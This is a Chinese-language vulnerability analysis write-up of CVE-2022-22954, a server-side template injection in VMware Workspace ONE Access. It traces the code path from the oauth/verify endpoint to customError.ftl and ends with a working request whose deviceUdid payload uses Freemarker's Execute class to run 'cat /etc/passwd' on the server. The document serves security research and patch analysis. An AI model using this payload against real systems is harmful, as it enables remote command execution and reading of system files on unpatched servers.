Workspace ONE Access(以服务形式提供工作空间的模型)提供多因素认证、单点登录以及针对 SaaS、Web 和移动应用程序的条件访问。 CVE-2022-22954 是存在于以下产品中的服务端模板注入漏洞:
下载 VMware Workspace ONE Access Appliance 版本 21.08.0.1 的 ova 文件
使用 VMware Workstation 打开文件,虚拟机需位于 NAT 网络
在网络属性中,需要配置主机名 (FQDN)

安装完成后,访问 https://{{hostname}}:8443/ 配置应用程序账户密码、ssh 账户密码和数据库密码 应用程序运行在 https://{{hostname}}/

通过 sshuser 账户登录虚拟机,切换到 root 账户 发现应用程序路径位于 /opt/vmware/horizon/workspace/ 应用程序源代码位于 /opt/vmware/horizon/workspacce/webapps 目录

检查文件 /opt/vmware/horizon/workspace/bin/setenv.sh,发现 JAVA_OPTS 变量可配置远程调试

将 -agentlib:jdwp=transport=dt_socket,server=y,address=5005,suspend=n 添加到 JAVA_OPTS 并重启服务
`systemctl restart horizon-workspace.service`
下载修复文件 HW-154129-applyWorkaround.py
在步骤中,有一项是从应用程序中移除 templates/customError.ftl 文件

在 customError.ftl 文件中,存在 eval 函数。如果能够控制 errorObj 的值,则可能从该点利用 Freemarker SSTI 漏洞。


在类 com.vmware.enusercatalog.ui.web.UiErrorController 中,我们看到 handleGenericError 函数通过 errorMessage 变量为 errorObj 赋值

继续跟踪函数调用和参数 errorMessage
handleUnauthorizedError 函数

getErrorPage 函数

到达两个函数 sendError 和 sendUnhandledError,errorMessage 的值取自属性 javax.servlet.error.message


在类 com.vmware.endusercatalog.ui.web.UiApplicationExceptionResolver 中,属性 javax.servlet.error.message 在 resolverExeption 函数中被赋值

handleAnyGenericExeption 函数被标注 @ExeptionHandler

在类 com.vmware.endusercatalog.ui.UiApplication 中,在标记为 @CommponentScan 的包中包含 com.vmware.endusercatalog.auth

=> 该包中的异常可以被 handleAnyGenericExeption 函数捕获
在 com.vmware.endusercatalog.ui.config 中,添加了拦截器 AuthContextPopilationInterceptor,路径为 /ui, /hub-ui, /hub-ui/byob, /logout, /ui/oauth/verify


跳转到类 com.vmware.endusercatalog.auth.interceptor.AuthContextPopulationInterceptor,在 preHandle 函数中,应用程序接收两个参数 deviceUdid 和 deviceType,并调用 authContextBuilder 函数

在类 com.vmware.endusercatalog.auth.interceptor.AuthContext 中,如果条件 this.isValidRequest 不满足,将出现异常 InvalidAuthContextException


要使 isValidRequest 满足,两个参数 this.deviceId 和 this.deviceType 需要同时为空或同时有值

=> 只传递其中一个参数的值将在此处出现错误

发送请求
GET /catalog-portal/ui/oauth/verify?deviceUdid=111
出现错误
An unexpected error occurred while processing request with requestId: {0}.
回到类 com.vmware.endusercatalog.ui.web.WorkspaceOauth2CodeVerificationController,发现上述错误是由于缺少必需参数 error 导致的
@GetMapping(
value = {"/ui/oauth/verify"},
params = {"error"}
)
@ApiOperation(
value = "authorizeError",
notes = ""
)
public void authorizeError(@ApiParam @RequestParam String error, @ApiParam @RequestParam(name = "error_description") String errorDescription, @ApiParam @RequestParam(defaultValue = "/admin/") String state) {
LOGGER.debug("Failed to obtain authorization code due to {}:{} received for {}", new Object[]{error, errorDescription, state});
throw new AuthorizationCodeFailedRetrievalException(new Object[]{error, state});
}
重新发送请求
GET /catalog-portal/ui/oauth/verify?error=&deviceUdid=111abc
deviceUdid 的值出现在响应中

注入导致 Freemarker SSTI 错误的参数

发送带有以下值的请求
deviceUdid=${"freemarker.template.utility.Execute"?new()("cat /etc/passwd")}

